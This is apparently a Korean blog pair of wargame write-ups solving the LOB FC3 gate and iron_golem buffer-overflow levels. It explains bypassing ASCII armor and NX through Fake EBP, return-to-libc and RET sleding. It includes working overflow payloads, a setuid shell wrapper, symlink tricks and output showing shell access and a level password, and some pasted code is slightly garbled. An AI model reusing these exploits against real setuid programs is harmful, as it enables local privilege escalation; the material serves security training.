2016. 9. 13. 06:22

## LOB FC3 iron_golem문제


 LOB FC3 두 번째 문제 iron_golem 문제를 보자.

환경은 이전 게시글 gate 문제와 동일하다. 문제 파일 iron_golem.c를 보면 아래와 같은 소스코드를 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c 
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_eyes
    - Local BOF on Fedora Core 3 
    - hint : RET sleding
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, argv[1]);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
cs


 이전의 gate 문제와 비교해서 다른게 거의 없다. 다른 점은 20,26 line 밖에 없는데, 이 두줄이 추가됨으로써 이전 gate문제에서 Fake EBP를 이용하여 ascii armor를 우회할 수 있었던 방법을 사용할 수 없게 되었다.(20 line에서 sfp를 임시로 저장했다가 bof취약점 이후에 다시 sfp를 원래대로 복구시킴)

 실제로 SFP부분이 덮어씌워지지 않고 이전의 값으로 복구되는지 아래 [그림 1]을 통해 확인해 보자.

[그림 1] BOF & sfp 복구


 [그림 1]을 보면 실제로 버퍼에 264만큼의 쓰레기 값을 집어넣고 SFP부분에 "BBBB"로 집어넣은 후 ret부분은 "\x41\x41\x41\x41"로 덮어씌웠지만 최종적으로 leave명령어에서 bp를 걸었을 때의 스택상황을 찍어보면 [그림 1]처럼 SFP가 "BBBB"가 아닌 0xfef8d898인 것을 확인할 수 있다.

 따라서 gate에서 풀었던 방식(Fake EBP)를 이용하여 ascii armor를 우회할 수 없기 때문에 다른 방법을 찾아야 했다.


 잘 생각해보면 ascii armor 보호기법 때문에 RTL 페이로드를 구성할 때 최종적으로 [~~~~~~ + execl()주소]로 구성해야한다. 이 때 execl()함수의 인자 값은 ebp 기준 ebp+0x8(1'st인자 : 실행할 파일 명)으로 참조하기 때문에 ebp를 조작할 수 없다면 페이로드는 어떻게 해서든 [~~~~~ + execl()주소 + execl()함수가끝나고 돌아갈 ret addr + 1'st 인자]의 형태가 되어야 한다.


 이 때 중요한 점은 위 페이로드 구성에서 빨간색 부분은 우리가 컨트롤할 수 없는 부분이라는 것이다. 따라서 뒤의 부분의 메모리 주소와 값은 항상 바뀌지 않고 우리가 알 수 있는 값이어야 한다. 마침 [그림 1]의 0xfef8d850부분을 보면 0x83eff4라는 주소가 보이고 이 주소에 들어있는 값은 [그림 2]에서 확인할 수 있듯이 0x83ed3c이다. 

[그림 2] 페이로드 구성 하기 전 스택 설명


 이제 [그림 2]를 보면 우리가 덮어씌울 부분(페이로드)은 [buffer(264byte) + sfp(4byte) + ???(12byte) + execl_addr(4byte)] 과 같다.


간단하게 [그림 2]에 대해서 설명을 하자면 ???부분에 무언가 넣고 마지막으로 execl주소를 넣고나서 0x83eff4를 execl()의 첫 번째 인자로 사용하는 것이다.


 그러면 ???에는 무엇을 넣어야 할지가 중요한데, ???부분에는 ret명령어가 있는 주소를 사용하면 된다. 그러면 계속 ret; ret; ret;를 하면서 스택에 4byte씩 이동하면서 ret를 실행하는데 결국 우리가 의도한 execl()까지 마치 NOP Sled처럼 쭉 가게 된다. 이런 방식을 RET Sleding 이라고 하며 실제로 execl()주소까지 가면 execl()이 실행되면서 첫 번째 인자를 참고하여 gate 문제에서 준비한 shell을 실행시키게 된다.(ln -s shell `python -c 'print "\x3c\xed\x83"'`)


 참고로 gate문제에서 Fake EBP를 할 때에는 ret addr를 덮어쓸 때 execl()+3만큼의 주소를 덮어 썻는데 여기서는 execl()주소를 그대로 사용한다. 이유는 fake ebp는 이미 함수 프롤로그에서 할 스택 프레임 조정을 미리 ebp를 조작하면서 했기 때문에 프롤로그를 실행하면 ebp조작이 의미 없어지기 때문이며 이 문제에서는 ebp를 건들지 않으므로 기존의 RTL처럼 스택프레임을 새로 짜야하기 때문이다. 잘 이해가 가지 않는다면 직접 공책을 꺼내서 하나하나 그려보도록 하자..


 자 그럼 이제 다 되었다. 위 페이로드를 기반으로 exploit 코드를 짜고 실행하면 아래와 같다.

1
2
3
4
5
6
7
[iron_golem@Fedora_1stFloor ~]$ ln -s shell `python -'print "\x3c\xed\x83"'`
[iron_golem@Fedora_1stFloor ~]$ ls
<?  dark_eyes  dark_eyes.c  shell  shell.c
[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -'print "A"*264+"BBBB"+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????????
Segmentation fault
[iron_golem@Fedora_1stFloor ~]$
cs

뭔가 제대로 안되는 것을 확인할 수 있다.

원인이 뭘까....?? gdb로 확인한 결과 ["A"*264 + "BBBB" + "\xb9\x84\x04\x08"*3]까지는 잘 덮어씌어지는데 마지막 가장 중요한 execl()함수의 주소인 "\x20\x57\x7a"가 안 덮어씌어지는 것을 확인할 수 있었다. 

 그래서 안 덮이는 이유는 "\x20"이 공백으로 인식(?)되어서 그런거 같았고, 이걸 피하기 위해 [그림 3]과 같이 execl() 바로 앞 주소를 확인했더니 nop코드로 덮여있어 execl()주소-0x1 로 덮어씌워도 문제가 없다는 것을 알았다. 

[그림 3] "\x20" 우회

따라서 페이로드를 약간 수정하여 execl()주소를 "\x1f\x57\x7a"로 덮어씌웠더니 아래와 같이 exploit이 되었다. 

1
2
3
4
5
6
7
8
[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -'print "A"*264+"BBBB"+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???????Wz
sh-3.00$ id
uid=502(dark_eyes) gid=501(iron_golem) groups=501(iron_golem) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 502
because of you
sh-3.00$ 
cs


## 정리1 : RET Sleding을 이용하여 ascii armor를 우회해 RTL로 exploit할 수 있다.
## 정리2 : "\x20"은 공백으로 인식되어 스택에 값이 안 박힌다. 이전 명령어가 nop이나 특별한 명령어가 아닐 경우 주소를 좀 당긴다.


## 잘못된 점은 댓글이나 메일(holinder4s@gmail.com)으로 알려주시면 감사하겠습니다.. 뉴비라 잘 모릅니다.




'Wargame > LOB(FC3)' 카테고리의 다른 글

## LOB FC3 gate->iron_golem(Fake EBP + RTL)  (2) 2016.09.07
Posted by holinder4S
2016. 9. 7. 06:22

## LOB FC3 gate문제



LOB FC3은 Fedora Core 3환경(페도라성 첫번째 층)의 문제이다. 


LOB FC3(FC1~3)은 다음과 같은 보호기법들이 적용되어 있으며 이를 우회하여 쉘을 따내야 한다.


   - Stack Dummy : O

   - Down Privileage of bash : O

   - Random Stack : O

   - Random Library : X

   - Random Program Binary Mapped : X

   - ASCII Armor : O

   - Non-Executable Stack : O

   - Non-Executable Heap : O

   - Stack Canary : X

   - Stack Smashing Protector : X



[보호 기법 정리]


   - Random Stack : 스택의 주소 영역이 실행 시 마다 랜덤한 값으로 바뀌어 쉘코드가 올라가더라도 해당 쉘코드의 주소를 알 수 없음

      

[그림 1] ASLR(Random Stack)


   - ASCII Armor : 라이브러리의 함수 주소의 최상위 부분이 0x00(NULL)이므로 RTL공격 구성 시 연속적인 페이로드를 작성할 수 없음

      

[그림 2] ASCII Armor


   - Non-excutable Stack : NX라고 하며 스택영역에 실행권한을 없애 쉘코드의 실행을 막는 기법.

(cat /proc/self/maps명령으로 실행권한 확인 가능)

      

[그림 3] 스택 실행권한 확인


   => 위 보호 기법들을 우회하기 위해 여러가지 기법이 있는데 이 첫 번째 문제를 풀기 위한 기법은 RTL, Fake EBP이다.


====================================================================================================================


 일단 문제 파일을 보면 아래 [그림 4]와 같이 힌트와 소스코드가 주어진다.


[그림 4] iron_golem.c + 힌트


 문제의 소스코드는 아주 간단하다. buffer라는 char배열 256바이트만큼 선언한 후 argv[1]에 들어간 인자 값이 buffer에 들어가는데 이 때 취약한 strcpy함수를 사용하므로 BOF가 발생하게 된다.


 이 때의 스택상황을 간단하게 그려보면 아래 [그림 5]와 같다.

[그림 5] Stack 구성도


 위 그림을 보면 이해가 쉬울 것이다. 우선 buffer[256] char배열에 strcpy(buffer, argv[1])을 이용하여 값을 집어넣을 때 264바이트 만큼 집어넣어 dummy바이트까지 덮어씌운 후 SFP와 RET 각 4바이트를 덮어 씌어 실행흐름을 바꾸면 된다.


 실제로 ascii armor가 적용되어 있지 않다면 ret에 execl()함수의 주소를 쓰고 이후에 execl()함수의 ret addr + 1'st argument + 2'nd argument를 사용하여 RTL을 하면 되지만 ascii armor 보호기법 때문에 execl()함수의 주소가 0x00(NULL)바이트로 끝나 뒤의 페이로드를 구성하지 못한다.


 따라서 Fake EBP기법을 이용하여 뒤의 인자 값을 참조하도록 만들어 주어야 한다. 구성은 아래 [그림 6]과 같이 페이로드를 구성하면 된다. ebp의 값을 바꿀때 스택의 주소는 ASLR의 영향으로 계속 바뀌기 때문에 사용할 수 없고 일반적으로 got 테이블이나, bss영역처럼 주소가 변하지 않는 부분을 많이 사용한다.(참고로 got테이블의 주소나 bss영역, data영역의 주소 등은 "readelf -a binary_file"로 알 수 있다.)

[그림 6] Payload 구성(Fake EBP + RTL)


 우선 ascii armor 때문에 ret addr부분에 execl()함수의 주소만 집어 넣었다. 일반적으로 함수의 인자는 EBP를 기준으로 EBP+0x8(첫 번째 인자), EBP+0xc(두 번째 인자) ... 로 확인하기 때문에 위 페이로드에서처럼 EBP의 값을 바꾸게 되면 execl()함수에서 인자 값을 컨트롤(?)할 수 있게 된다. 그리고 중요한 부분인데 ret addr을 덮어쓸 때 execl()주소에 3을 더하는 것은 execl()함수의 프롤로그를 생략하기 위해서이다. 이부분을 실행하면 fake ebp를 사용할 수 없다.(스택 프레임이 새로 생김). 실제 메모리를 보자.

[그림 7] 페이로드 삽입


fake ebp의 값과 ret 주소가 잘 덮인 것을 확인하였다. 앞에서 설명을 하지 않았는데 fake ebp는 leave명령을 수행하면서 mov esp, ebp; pop ebp;명령어를 실행한 것과 동일한 효과를 내게 되는데 이 때 fake ebp로 덮인 값이 leave명령어를 수행하는 순간 ebp에 저장된다. 이제 ebp부분의 실제 메모리를 보면 아래 [그림 8]과 같다.

[그림 8] fake ebp 메모리


 이제 fake ebp를 이용하여 ret에 덮어씌어진 execl()함수의 인자 값도 처리할 수 있으므로 execl("\x01");을 실행하여 어떻게 쉘을 획득할 수 있는지만 고민하면 된다. 답은 Symbolic Link이다. 


1
2
3
4
5
6
7
#include <stdio.h>
 
int main() {
        setreuid(geteuid(), geteuid());
        system("/bin/sh");
        return 0;
}
cs


위 코드와 같은 shell.c를 작성한 후 컴파일하고 shell에 아래와 같이 "\x01"로 심볼릭 링크를 건다. 그러면 execl("\x01");를 실행하면 shell 프로그램이 실행되면서 쉘이 뜨는데 위에서 구성한 페이로드를 짜서 공격하면 아래 [그림 10]과 같이 exploit에 성공하는 것을 볼 수 있다.


1
ln -s shell `python -'print "\x01"'`
cs


[그림 10] exploit 성공



## 정리 : Fake EBP를 이용하여 ascii armor를 우회해 RTL기법처럼 exploit할 수 있다.


## 잘못된 점은 댓글이나 메일(holinder4s@gmail.com)으로 알려주시면 감사하겠습니다... 초보라 잘 모릅니다.




'Wargame > LOB(FC3)' 카테고리의 다른 글

## LOB FC3 iron_golem->dark_eyes(RET Sleding + \x20(bash))  (3) 2016.09.13
Posted by holinder4S